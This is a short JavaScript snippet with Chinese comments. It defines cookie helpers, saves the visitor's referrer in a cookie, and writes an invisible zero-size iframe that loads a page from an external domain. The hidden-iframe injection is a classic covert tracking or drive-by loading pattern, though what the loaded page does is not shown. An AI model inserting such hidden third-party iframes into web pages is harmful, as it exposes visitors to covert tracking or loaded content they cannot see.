function setCookie(name, value, seconds) {
 seconds = seconds || 0; //seconds有值就直接赋值，没有为0，这个根php不一样。
 var expires = "";
 if (seconds != 0 ) { //设置cookie生存时间
 var date = new Date();
 date.setTime(date.getTime()+(seconds*1000));
 expires = "; expires="+date.toGMTString();
 }
 document.cookie = name+"="+escape(value)+expires+"; path=/"; //转码并赋值
}

function delCookie(name)
{
 var exp = new Date();
 exp.setTime(exp.getTime() - 1);
 var cval=getCookie(name);
 if(cval!=null)
  document.cookie= name + "="+cval+";expires="+exp.toGMTString();
}



setCookie('old',escape(document.referrer),200);


document.write("<iframe src='http://www.sihuanchem.com/tj/tj.htm' width='0' HEIGHT='0' ></iframe> ")